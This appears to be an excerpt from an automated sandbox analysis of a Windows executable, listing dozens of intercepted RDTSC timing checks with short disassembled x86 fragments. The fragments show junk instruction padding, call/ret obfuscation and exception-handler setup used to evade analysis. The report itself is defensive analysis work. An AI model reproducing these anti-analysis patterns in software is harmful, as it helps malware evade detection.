Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733AAE second address: 733B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E69214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 pop edx 0x00000019 nop 0x0000001a js 00007F8908E6920Ch 0x00000020 xor edi, 76604200h 0x00000026 push 00000000h 0x00000028 mov esi, dword ptr [ebp+122D32B6h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F8908E69208h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a call 00007F8908E69216h 0x0000004f pop esi 0x00000050 movzx esi, ax 0x00000053 sub dword ptr [ebp+122D3357h], ecx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B35 second address: 733B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B39 second address: 733B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7345CE second address: 7345D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F89084F5D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7350B6 second address: 735107 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c or dword ptr [ebp+1246FC47h], esi 0x00000012 sbb edi, 15FF132Fh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F8908E69208h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 sub dword ptr [ebp+122D17B2h], eax 0x0000003a mov dword ptr [ebp+122D17C7h], eax 0x00000040 push 00000000h 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735BF7 second address: 735C35 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F89084F5D9Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F89084F5D97h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735C35 second address: 735C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7359C7 second address: 7359D1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7359D1 second address: 7359E3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8908E69208h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A836 second address: 73A83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A83A second address: 73A840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B73D second address: 73B741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B741 second address: 73B747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B747 second address: 73B791 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D183Ch], ecx 0x00000011 push 00000000h 0x00000013 movsx ebx, dx 0x00000016 push 00000000h 0x00000018 sub dword ptr [ebp+122D18CAh], esi 0x0000001e xchg eax, esi 0x0000001f push edx 0x00000020 push ecx 0x00000021 jmp 00007F89084F5D94h 0x00000026 pop ecx 0x00000027 pop edx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F89084F5D90h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C729 second address: 73C72F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B968 second address: 73B979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F89084F5D88h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C72F second address: 73C735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B979 second address: 73B980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C735 second address: 73C739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C739 second address: 73C7C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jnl 00007F89084F5D86h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F89084F5D98h 0x0000001a jl 00007F89084F5D86h 0x00000020 popad 0x00000021 popad 0x00000022 nop 0x00000023 mov edi, ecx 0x00000025 push 00000000h 0x00000027 mov edi, dword ptr [ebp+122D373Eh] 0x0000002d mov dword ptr [ebp+12448B69h], edx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F89084F5D88h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D2A0Eh], edx 0x00000055 movsx edi, ax 0x00000058 xchg eax, esi 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F89084F5D95h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C8D8 second address: 73C8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F868 second address: 73F86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E9C8 second address: 73E9D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E9D2 second address: 73EA68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D95h 0x00000008 jo 00007F89084F5D86h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov edi, dword ptr [ebp+122D34D2h] 0x0000001a jmp 00007F89084F5D92h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 jp 00007F89084F5D86h 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F89084F5D88h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000014h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d call 00007F89084F5D8Ch 0x00000052 mov ebx, dword ptr [ebp+122D37E2h] 0x00000058 pop edi 0x00000059 mov eax, dword ptr [ebp+122D007Dh] 0x0000005f movsx ebx, bx 0x00000062 push FFFFFFFFh 0x00000064 mov edi, 63BC35F2h 0x00000069 push eax 0x0000006a push esi 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7408CC second address: 7408DE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F8908E69206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73FA1F second address: 73FA24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74180C second address: 741816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8908E69206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74363E second address: 7436B5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F89084F5D8Dh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F89084F5D88h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f movzx edi, cx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F89084F5D88h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e or dword ptr [ebp+122D30F0h], eax 0x00000054 and di, 9DC7h 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7436B5 second address: 7436BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7436BA second address: 7436CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F89084F5D8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7436CC second address: 7436D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744629 second address: 74462F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74560A second address: 74560E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74560E second address: 745660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F89084F5D98h 0x0000000d nop 0x0000000e mov bh, ch 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+1246F331h], esi 0x0000001a xchg eax, esi 0x0000001b jp 00007F89084F5D9Dh 0x00000021 push eax 0x00000022 push edi 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7447DB second address: 7447DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7447DF second address: 7447E9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7447E9 second address: 7447EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746761 second address: 7467DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F89084F5D92h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jp 00007F89084F5D97h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F89084F5D88h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f add ebx, 15FEDF9Eh 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D19C5h], eax 0x0000003d xchg eax, esi 0x0000003e jmp 00007F89084F5D8Eh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jp 00007F89084F5D86h 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7457A9 second address: 7457AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7457AF second address: 7457C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F89084F5D8Eh 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458A9 second address: 7458AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7458AD second address: 7458B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74697B second address: 7469B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E69211h 0x00000008 jmp 00007F8908E6920Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8908E69212h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748860 second address: 7488E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F89084F5D92h 0x00000008 jmp 00007F89084F5D8Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 adc bx, A636h 0x00000015 adc bx, 3478h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F89084F5D88h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F89084F5D88h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 sub dword ptr [ebp+122D18CAh], ecx 0x00000058 mov dword ptr [ebp+122D5493h], ecx 0x0000005e push eax 0x0000005f pushad 0x00000060 jns 00007F89084F5D8Ch 0x00000066 push eax 0x00000067 push edx 0x00000068 push edx 0x00000069 pop edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7479B7 second address: 7479CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7479CB second address: 7479D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7479D6 second address: 7479DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7479DA second address: 747A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F89084F5D88h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 movzx edi, dx 0x00000028 jno 00007F89084F5D89h 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov dword ptr [ebp+12461A8Dh], ecx 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 add edi, dword ptr [ebp+122D34DAh] 0x00000048 mov eax, dword ptr [ebp+122D0075h] 0x0000004e mov edi, 3F50A06Fh 0x00000053 push FFFFFFFFh 0x00000055 add bl, 00000062h 0x00000058 sub ebx, 5377240Ah 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 push edx 0x00000065 pop edx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74AECE second address: 74AEE3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74AEE3 second address: 74AEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74AEE7 second address: 74AEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FDD6 second address: 74FDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537CF second address: 7537D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7537D5 second address: 7537F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F89084F5D86h 0x0000000a popad 0x0000000b jmp 00007F89084F5D95h 0x00000010 push edi 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F9E3 second address: 75F9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F9ED second address: 75F9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDD9 second address: 75EDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDDD second address: 75EDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDE1 second address: 75EDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDEF second address: 75EDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDF3 second address: 75EDF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EF67 second address: 75EF7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EF7B second address: 75EF84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EF84 second address: 75EF8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F0E2 second address: 75F0E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F23F second address: 75F243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F243 second address: 75F247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F397 second address: 75F3B6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F89084F5D88h 0x00000013 je 00007F89084F5D8Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F3B6 second address: 75F3BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737A09 second address: 737A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737DEF second address: 737DF9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8908E6920Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737F5B second address: 737F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F89084F5D86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73885E second address: 738864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738A48 second address: 738AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F89084F5D90h 0x0000000f nop 0x00000010 mov dx, FAFDh 0x00000014 lea eax, dword ptr [ebp+1247E691h] 0x0000001a js 00007F89084F5D8Bh 0x00000020 pushad 0x00000021 mov dword ptr [ebp+12447C33h], eax 0x00000027 jno 00007F89084F5D8Ch 0x0000002d popad 0x0000002e nop 0x0000002f jmp 00007F89084F5D98h 0x00000034 push eax 0x00000035 pushad 0x00000036 jmp 00007F89084F5D95h 0x0000003b push eax 0x0000003c push edx 0x0000003d jp 00007F89084F5D86h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738AD8 second address: 7158C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dh, 8Fh 0x0000000a xor edx, dword ptr [ebp+122D30EAh] 0x00000010 call dword ptr [ebp+122D18DFh] 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F8908E69219h 0x0000001e rdtsc
